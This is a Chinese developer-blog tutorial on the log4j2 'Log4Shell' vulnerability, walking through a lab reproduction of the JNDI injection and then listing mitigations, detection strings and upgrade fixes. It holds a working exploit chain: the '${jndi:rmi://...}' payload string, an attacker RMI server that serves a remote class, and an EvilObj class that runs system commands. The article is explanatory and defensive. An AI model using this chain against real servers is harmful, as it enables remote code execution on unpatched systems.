您好!
欢迎来到京东云开发者社区
登录
首页
博文
课程
大赛
工具
用户中心
开源
首页
博文
课程
大赛
工具
开源
更多
用户中心
开发者社区
>
博文
>
log4j2“核弹级”漏洞,你中招了吗
分享
打开微信扫码分享
点击前往QQ分享
点击前往微博分享
点击复制链接
log4j2“核弹级”漏洞,你中招了吗
自猿其说Tech
2021-12-16
IP归属:未知
33240浏览
计算机编程
### 1 问题背景 ![](//img1.jcloudcs.com/developer.jdcloud.com/a31323dc-1263-4239-a884-9e422c96498220211216141622.png) ### 2 分析原因及复现漏洞 #### 2.1 相关知识介绍 ##### 2.1.1 最简单的日志打印 ![](//img1.jcloudcs.com/developer.jdcloud.com/9d70dd8b-d087-482e-a882-fe200dbf52ea20211216141640.png) ```java // 通过表单接收name等字段,并且在日志中生成一条记录 public void login(string username){ String username = "test"; //表单接收name字段 logger.info("{},登录了", username); //logger为log4j } ``` 日志会显示 ``` INFO test,登录了 ``` **思考:记录日志为什么会导致bug呢?** ##### 2.1.2 lookup支持打印系统变量 ![](//img1.jcloudcs.com/developer.jdcloud.com/a77487f2-2b66-4dd9-9072-931abbe5660c20211216141732.png) ```java // 通过表单接收name等字段,并且在日志中生成一条记录 public void login(string username){ String username = "{$java:os}"; //用户输入的name内容为 {$java:os} logger.info("{},登录了", username); //logger为log4j } ``` 日志会显示 ``` INFO Windows 10 10.0, architecture: x86-32,登录了 ``` **思考:为什么会产生这种奇怪的现象?** 因为log4j提供了一个lookup的功能,可以把一些系统变量放到日志中,如下表所示: ![](//img1.jcloudcs.com/developer.jdcloud.com/c43255e0-02af-4d96-8978-9889c52b1bd020211216141833.png) ##### 2.1.3 JNDI介绍 **维基百科:**Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。 **简单理解:**自己做的一个服务,如: ``` jndi:rmi://10.9.72.95:1099/evil ``` 如果被攻击的服务器,比如某台线上的服务器,访问了或者执行了自己的JNDI服务,「**那么线上的服务器就会来执行JNDI服务中的evil方法的代码**」。 如: **登录测试** ![](//img1.jcloudcs.com/developer.jdcloud.com/7be603c3-3d6c-4d1d-bfd8-f319bc3a036520211216141933.png) ```java public void login(string username){ String username = "${jndi:rmi://10.9.72.95:1099/evil}"; //用户输入的name内容为 jndi相关信息 logger.info("{},登录了", username); } ``` 所以,只要是你用log4j来打印这么一条日志,那么log4j就会去执行 jndi:rmi://10.9.72.95:1099/evil 服务,**那么在黑客的电脑上就可以对线上服务做任何操作了**!!! #### 2.2 复现与分析漏洞 ##### 2.2.1 原理分析 ![](//img1.jcloudcs.com/developer.jdcloud.com/122e2bd1-9b10-4f3d-818c-9e014777fc2320211216142015.png) ##### 2.2.2 代码准备 准备两个单独的工程,一个模拟服务器上运行的工程,一个模拟黑客电脑上运行的工程 1)服务器上工程的核心代码——Log4j2TestApi.java ```java package com.cs.api.test; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import javax.naming.NamingException; import java.io.IOException; public class Log4j2TestApi { private static final Logger LOGGER = LogManager.getLogger(); public static void main(String... args) throws IOException, NamingException { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); String username = "${jndi:rmi://10.9.72.95:1099/evil}"; LOGGER.info("{},登录了", username); } } ``` 配置文件pom.xml核心代码为 ```java <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.12.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.12.0</version> </dependency> </dependencies> ``` 2)黑客服务器上运行的工程的核心代码——RMIServer.java ```java import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) { try { //启动RMI注册表,端口设置为1099,不设置默认也为1099 LocateRegistry.createRegistry(1099); //创建本地主机在端口上对远程对象 Registry 的引用 Registry registry = LocateRegistry.getRegistry(); System.out.println("Create RMI registry on port 1099"); // 构造一个Reference对象引用,然后将这个恶意的Reference引用绑定到RMI注册中心 Reference reference = new Reference("EvilObj", "EvilObj", "http://127.0.0.1:80/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); //把远程对象注册到RMI注册服务器上,并命名为evil registry.bind("evil", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } } ``` 核心代码——EvilObj.java ```java public class EvilObj { public EvilObj() {} static { System.out.println("我是黑客代码!!!"); System.out.println("请执行目标机器的这段指令!!!"); try { //根据不同的系统启动计算器 String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe","/c", "calc.exe"} : new String[]{"open","/System/Applications/Calculator.app"}; java.lang.Runtime.getRuntime().exec(cmds).waitFor(); }catch (Exception e){ e.printStackTrace(); } } } ``` 3)二者工程逻辑说明 首先,服务端会根据恶意EvilObj类与标识构造一个Reference对象引用reference,接着,会将将这个恶意的Reference引用reference绑定到RMI注册中心,当客户端调用lookup方法获取Reference对象引用时,然后,会加载Reference引用中指定的类,一般会先从本地寻找EvilObj类,如果找不到就会从Reference引用中指定的远程地址(http://127.0.0.1:80/)中下载EvilObj类然后在本地加载该类。 ##### 2.2.3 Nginx配置 1. 黑客服务器上启动Nginx; 1. 黑客服务器上把待攻击恶意应用EvilObj.java编译得到的EvilObj.class文件; 1. 把EvilObj.class放置到Nginx下的html文件目录下。 ##### 2.2.4 模拟攻击 1. 在黑客服务器上启动攻击实例; 1. 启动Nginx模拟代理服务器; 1. 目标服务器后端执行logger.info操作; 1. 目标服务器上可看到执行了黑客服务器上的恶意应用evil。 ![](//img1.jcloudcs.com/developer.jdcloud.com/3631fbe9-4e78-44fe-a006-03048acf56a620211216142456.png) ##### 2.2.5 更改版本,再次攻击 1)在目标服务器工程中的pom.xml把log4j的版本更改为2.15.0; ```java <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.15.0</version> </dependency> </dependencies> ``` 2)更新maven依赖; 3)再次模拟攻击,发现无法攻击。 ![](//img1.jcloudcs.com/developer.jdcloud.com/f922d6c5-21da-4ef4-a416-31ba8210d56320211216142547.png) ##### 2.2.6 深入分析 1)查看apache官网的解决方案(LOG4J2-3198) ![](//img1.jcloudcs.com/developer.jdcloud.com/f7000db9-3e64-442b-9d76-28cb0bcc2f3d20211216142614.png) 2)可知目前2.15.0版本log4j已禁用掉了lookup功能:disable目前为true ![](//img1.jcloudcs.com/developer.jdcloud.com/df799cb5-8e8e-4de1-9634-34fbf452c0ba20211216142628.png) ### 3 解决方法 #### 3.1 紧急缓解措施 1. 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true 1. 修改配置 log4j2.formatMsgNoLookups=True 1. 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true 1. 设置防火墙,关闭服务器向外网的请求 #### 3.2 检测方案 1. 可以通过流量监测设备监控是否有相关 DNSLog 域名的请求 1. 可以通过监测相关流量或者日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符 #### 3.3 修复方案 1. 检查所有使用的 Log4j 组件,把Log4j升级为2.15.0-rc2及以上 1. 建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本 ### 4 总结 1. 在使用日志的时候,特别是生产环境,千万不能把身份证号、手机号、银行卡号、住址等客户敏感数据进行记录; 1. 与其他异构系统接口交互时,最好使用密文传输; 1. 工具最好使用稳定的版本,组件包修复漏洞后要抓紧升级,避免后续再发生相同问题。 1. 限制不必要的业务访问外部网络。 ### 5 参考链接 1. 微步在线研究:https://x.threatbook.cn/v5/article?threatInfoID=10470 1. log4j的lookup功能:https://logging.apache.org/log4j/2.x/manual/lookups.html 1. 漏洞修复:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3202?filter=addedrecently ------------ ###### 自猿其说Tech-京东物流技术发展部 ###### 作者:王鹏(西安CS测试小分队)
原创文章,需联系作者,授权转载
上一篇:让我们加班加点升级的Log4j2漏洞,到底是个啥?
下一篇:手牵手带你实现mini-vue
相关文章
Taro小程序跨端开发入门实战
Flutter For Web实践
配运基础数据缓存瘦身实践
自猿其说Tech
文章数
426
阅读量
2149964
作者其他文章
01
深入JDK中的Optional
本文将从Optional所解决的问题开始,逐层解剖,由浅入深,文中会出现Optioanl方法之间的对比,实践,误用情况分析,优缺点等。与大家一起,对这项Java8中的新特性,进行理解和深入。
01
Taro小程序跨端开发入门实战
为了让小程序开发更简单,更高效,我们采用 Taro 作为首选框架,我们将使用 Taro 的实践经验整理了出来,主要内容围绕着什么是 Taro,为什么用 Taro,以及 Taro 如何使用(正确使用的姿势),还有 Taro 背后的一些设计思想来进行展开,让大家能够对 Taro 有个完整的认识。
01
Flutter For Web实践
Flutter For Web 已经发布一年多时间,它的发布意味着我们可以真正地使用一套代码、一套资源部署整个大前端系统(包括:iOS、Android、Web)。渠道研发组经过一段时间的探索,使用Flutter For Web技术开发了移动端可视化编程平台—Flutter乐高,在这里希望和大家分享下使用Flutter For Web实践过程和踩坑实践
01
配运基础数据缓存瘦身实践
在基础数据的常规能力当中,数据的存取是最基础也是最重要的能力,为了整体提高数据的读取能力,缓存技术在基础数据的场景中得到了广泛的使用,下面会重点展示一下配运组近期针对数据缓存做的瘦身实践。
自猿其说Tech
文章数
426
阅读量
2149964
作者其他文章
01
深入JDK中的Optional
01
Taro小程序跨端开发入门实战
01
Flutter For Web实践
01
配运基础数据缓存瘦身实践
添加企业微信
获取1V1专业服务
扫码关注
京东云开发者公众号